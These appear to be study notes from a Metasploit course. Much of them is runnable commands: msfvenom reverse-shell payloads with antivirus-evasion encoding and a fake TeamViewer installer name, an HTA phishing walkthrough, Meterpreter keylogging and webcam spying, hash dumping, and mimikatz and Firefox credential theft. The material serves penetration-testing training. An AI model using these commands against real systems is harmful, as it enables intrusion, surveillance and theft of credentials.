Notes from practice and HTB Academy course on Metasploit

  • sudo apt update && sudo apt install metasploit-framework install

  • msfconsole launch metasploit

  • msfconsole -q launch without banner


  • /usr/share/metasploit-framework all files are here (in parrot)

  • <No.> <type>/<os>/<service>/<name> Syntax of a module




Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.


Ensure that payloads are intact to their destination.


Defined as modules that exploit a vulnerability that will allow for the payload delivery.


(No Operation code) Keep the payload sizes consistent across exploit attempts.


Code runs remotely and calls back to the attacker machine to establish a connection (or shell).


Additional scripts can be integrated within an assessment with msfconsole and coexist.


Wide array of modules to gather information, pivot deeper, etc.

Search for an exploit

  • search exploit name

  • help search more details on how to use the help command

Using a module

  • show options to see what we need to set

  • set RHOST to set a target

  • setg to set an option permanently until the program is restarted

  • run or exploit to run our exploit once options are set

  • We can grep in msfconsole if we need to filter our results example: grep meterpreter show payloads

  • We can use ifconfiginside as well if we do not remember our ip for the LHOST



Encoders for evasion

Encoding the payload in different formats could help with the AV detection. Shikata Ga Nai (SGN) is one of the most utilized Encoding schemes today because it makes payloads hard to detect. Example msfpayload windows/shell_reverse_tcp LHOST= LPORT=4444 R | msfencode -b '\x00' -f perl -e x86/shikata_ga_nai Or msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST= LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai We can iterate the encoding scheme to have more chance of being undetected. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe Here with -i we iterate 10 times.

  • If we register a free account on virus total we can get an API key and use msf-virustotal to check if our payloads are detected. Than we can check our payload this way msf-virustotal that we can use with an API key to analyze our payloads. However, this requires free registration on VirusTotal


We can archive our payload and password protect the archive.

  • rar a ~/test.rar -p ~/test.js

  • mv test.rar test we remove the rar extension

  • rar a test2.rar -p test we archive it again and remove the rar extension again

  • This is an excellent way to transfer data both to and from the target host.

This might raise a flag in the AV mentioning that the file could not be scanned because it was password protected.


The term Packer refers to the result of an executable compression process where the payload is packed together with an executable program and with the decompression code in one single file. When run, the decompression code returns the backdoored executable to its original state, allowing for yet another layer of protection against file scanning mechanisms on target hosts. This process takes place transparently for the compressed executable to be run the same way as the original executable while retaining all of the original functionality. In addition, msfvenom provides the ability to compress and change the file structure of a backdoored executable and encrypt the underlying process structure.

  • Popular packer software: UPX packer, The Enigma Protector, MPRESS, Alternate EXE Packer, ExeStealth, Morphine, MEW, Themida.

Catch a shell with meterpreter

Generate a payload with msfvenom

msfvenom --list payloads | grep meterpreter

List formats

msfvenom --list formats

To generate payload take in account

  • Target OS (Win, Linux, Mac)

  • Language you need (Python, PHP, ...)

  • Netwok connection types (TCP, HTTPS,...)

Catch the shell

use exploit/multi/handler If you want meterpreter commands choose type of payload with meterpreter Set LHOST and LPORT and run to catch the shell

Meterpreter Commands

You can see this when typing help

meterpreter > help

Core Commands

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels

Note: the commands can change depending on your version of meterpreter

Core commands

background: Backgrounds the current session
exit: Terminate the Meterpreter session
guid: Get the session GUID (Globally Unique Identifier)
help: Displays the help menu
info: Displays information about a Post module
irb: Opens an interactive Ruby shell on the current session
load: Loads one or more Meterpreter extensions (Kiwi for example)
migrate: Allows you to migrate Meterpreter to another process
run: Executes a Meterpreter script or Post module
sessions: Quickly switch to another session

File system commands

cd: Will change directory
ls: Will list files in the current directory (dir will also work)
pwd: Prints the current working directory
edit: will allow you to edit a file
cat: Will show the contents of a file to the screen
rm: Will delete the specified file
search: Will search for files
upload: Will upload a file or directory
download: Will download a file or directory

Networking commands

arp: Displays the host ARP (Address Resolution Protocol) cache
ifconfig: Displays network interfaces available on the target system
netstat: Displays the network connections
portfwd: Forwards a local port to a remote service
route: Allows you to view and modify the routing table
System commands
clearev: Clears the event logs
execute: Executes a command
getpid: Shows the current process identifier
getuid: Shows the user that Meterpreter is running as
kill: Terminates a process
pkill: Terminates processes by name
ps: Lists running processes
reboot: Reboots the remote computer
shell: Drops into a system command shell
shutdown: Shuts down the remote computer
sysinfo: Gets information about the remote system, such as OS

Others Commands

idletime: Returns the number of seconds the remote user has been idle
keyscan_dump: Dumps the keystroke buffer
keyscan_start: Starts capturing keystrokes
keyscan_stop: Stops capturing keystrokes
screenshare: Allows you to watch the remote user's desktop in real time
screenshot: Grabs a screenshot of the interactive desktop
record_mic: Records audio from the default microphone for X seconds
webcam_chat: Starts a video chat
webcam_list: Lists webcams
webcam_snap: Takes a snapshot from the specified webcam
webcam_stream: Plays a video stream from the specified webcam
getsystem: Attempts to elevate your privilege to that of local system
hashdump: Dumps the contents of the SAM database

Example of shells

EXE shell

  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe

Using powershell

  • Generate the script with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACK-MACHINE-IP LPORT=PORT -f psh -o shell.ps1

  • Serve it to the target with python3 -m http.server port

  • Set up your listener on msfconsole use multi/handler set payload windows/x64/meterpreter/reverse_tcp set also LHOST and LPORT

  • exploit -j

  • run the exploit on the target you should have a shell

  • list your sessions with sessions

  • Interact with the desired session using sessions -i number-of-session

HTA Email Phishing

Create the payload with msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP-OF-ATTACK-MACHINE LPORT=443 -f hta-psh -o payload.hta

Set up metasploit

  • msfconsole

  • use exploit/multi/handler

  • set payload windows/x64/meterpreter/reverse_tcp


  • set LPORT 443

  • exploit -j

Host the file

  • Launch this in the folder where the payload is python3 -m http.server 80

Send the phishing email

  • We can now send an email with a link to our reverse shell http://IP-OF-ATTACK-MACHINE/name-of-your-script.hta

  • When the phishing receptient will execute the file we will get a reverse shell

Catch your shell and interact

  • In your metasploit shell launch sessions

  • We should see a new meterpreter sessions from our taget machine

  • To interact with it we can do sessions -i number-of-session

Local Enumeration

  • Let's suppose we have a shell

  • We interact with it using sessions -i number-of-session (type sessions to list the available sessions)

  • sysinfo will give info on win version, architecture etc

  • getuid to have current user info

  • ipconfig to get network info

  • arp other information about network

  • netstat -ano to get info on listener and other

  • `ps to check processes

  • run post/windows/gather/enum_services enumerate services

  • run post/windows/gather/enum_applications enumerate applications

  • run post/windows/gather/enum_domains enumerate domains (works better on msf5 than 6)

  • route check out routes

Dump hashes with Hashcat

  • We should have a session

  • We can check our privileges using run post/windows/gather/win_privs

  • We can get getsystem if not already using getsystem and to check it worked we can use getuid

  • hashdump will dump the hashes on the machine *Note when the hash ends with 0c089c0 it usually means that the account is probably disabled`

  • load kiwi will load mimikatz within meterpreter

  • creds_all

  • lsa_dump_sam will dump hashes from the sam file

Cracking Credential Vault with mimikatz

  • We should have a session (does not have to be admin, needs to be a domain user)

  • We need to upload mimikatz on the target upload /opt/Tools/mimikatz_trunk/x64/mimikatz.exe C:\\Users\\Public\\mimikatz.exe

  • shell

  • cd C:\Users\Public

  • dir /a C:\users\user\appdata\local\microsoft\credentials

  • This will list the password files, we will use the smallest on which generally the one we need.

  • We launch mimikatz: mimikatz.exe

  • vault::cred will let us make sure that there are creds in the vault

  • dpapi::cred /in:C:\users\user\appdata\local\microsoft\credentials\<CREDENTIAL-FILE-PREVIOUSLY-SELECTED>

  • We need to keep aside the guidMasterKey

  • exit to exit mimikatz

  • dir /a C:\users\user\appdata\roaming\microsoft\protect and now we can keep note of the sid value that shoudl look like this: 03/07/2022 10:31 AM <DIR> S-1-5-21-3390063331-4123551052-1719781121-1113

  • dir /a C:\users\user\appdata\roaming\microsoft\protect\S-1-5-21-3390063331-4123551052-1719781121-1113 the file with the guid should be the same guid of the guidMasterKey

  • dpapi::masterkey /in:C:\users\user\appdata\roaming\microsoft\protect\S-1-5-21-3390063331-4123551052-1719781121-1113\09770ae7-8e52-48cd-8899-45bb271132e7 /rpc

  • this will output our masterkey value and should look like this: key : 60f202bff3c6e2eaedfc4c28ac1adbdd102ec7dba401157f6f8c2056205507ed4e6d93120ebe48959751c0f2c939e515382d7ffec7bd2b129c8eb89466b31f0f

  • cred /in:C:\users\user\appdata\local\microsoft\credentials\9FD43B9DAC2EECAA50270662B8E497D5 /masterkey:60f202bff3c6e2eaedfc4c28ac1adbdd102ec7dba401157f6f8c2056205507ed4e6d93120ebe48959751c0f2c939e515382d7ffec7bd2b129c8eb89466b31f0f

  • We will get the dc password in plaintext it should look like this:

UserName       : domain\Administrator
CredentialBlob : Password123!

Dumping firefox credentials

  • With an active shell session on metasploit

  • use post/multi/gather/firefox_creds

  • set SESSION to the ID of your active shell session

  • exploit

  • the files will be downloaded in the loot directory, it will be shown where to in the command line

  • rename every file by checking their original name accordingly to: key4.db, logins.json, cookies.sqlite, cert9.db, signons.sqlite

  • And run it python3 <msf loot directory>

  • You should see the decrypted credentials on the screen


Databases in msfconsole are used to keep track of our results.

Set up

  • sudo service postgresql status check is PostgreSQL is up and running

  • If not sudo systemctl start postgresql

  • sudo msfdb init initiate a Database

  • sudo msfdb status check if a db has been initiated

  • sudo msfdb run connect to the db

  • In case of problem we can reinitiate the database

msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q


Can be usse to segregate the different scan results, hosts, infos, loot, etc.

  • workspace show the current workspace

  • workspace -a workspace-name add a workspace

  • workspace -d workspace-name delete a workspace

  • workspace workspace-name to switch to a workspace

  • workspace -h for help

  • db_import file to import files in our database workspace

  • db_export -f xml file.xml we can specify a format with -f. For help we can run db_export -h

  • hosts -h will show help on the hosts command that we can use to see stored info in the db about the hosts.

  • services -h same as host but for services

  • creds -h same but for stored credentials

  • loot -h The loot command works in conjunction with the command above to offer you an at-a-glance list of owned services and users. The loot, in this case, refers to hash dumps from different system types, namely hashes, passwd, shadow, and more.


  • /usr/share/metasploit-framework/plugins is the default plugins directory for every new installation of msfconsole. If a plugin is listed here we can use it.

  • load plugin-name to load a plugin

Install a new plugin

  • sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rb we copy our new plugin to the metasploit plugins folder.

  • We can launch msfconsole and use our new plugin with load pentest

Useful Plugins



  • background or ctrl+z to background a session

  • sessions list active sessions

  • sessions -i num to open up a specific session


If, for example, we are running an active exploit under a specific port and need this port for a different module, we cannot simply terminate the session using [CTRL] + [C]. If we did that, we would see that the port would still be in use, affecting our use of the new module. So instead, we would need to use the jobs command to look at the currently active tasks running in the background and terminate the old ones to free up the port.

Other types of tasks inside sessions can also be converted into jobs to run in the background seamlessly, even if the session dies or disappears.

  • jobs -h

  • exploit -j to run an exploit as a job we can use exploit -h for more help

  • jobs -l list running jobs

  • jobs -k kill all the running jobs

Add a module

Modules we found online

We might sometimes need to exploit a vulnerability that does not have a module yet in our Metasploit version. We can add if we have the ruby code of course (we can often find these on exploitdb or with searchsploit)

  • We download the ruby file we need and copy it to /usr/share/metasploit-framework/or .msf4/

  • We can then load them at runtime msfconsole -m /usr/share/metasploit-framework/modules/ or after with loadpath /usr/share/metasploit-framework/modules/

  • Or we can also just use reload_all

We need to be careful with the naming convention: Always use snake-case, alphanumeric characters, and underscores instead of dashes. Like this our_module_here.rb

Create our own

We can use ruby and create our own module. We can for instance adapt a custom python or any other type of script in ruby to use it in metasploit.

In our script we need to include all the modules and methods for our exploit.



This module provides methods for acting as an HTTP client when exploiting an HTTP server.


This is a method for generating a first-stage php payload.


This method transfers files and handles file clean-up after a session with the target is established.


This module provides methods for reporting data to the MSF DB.


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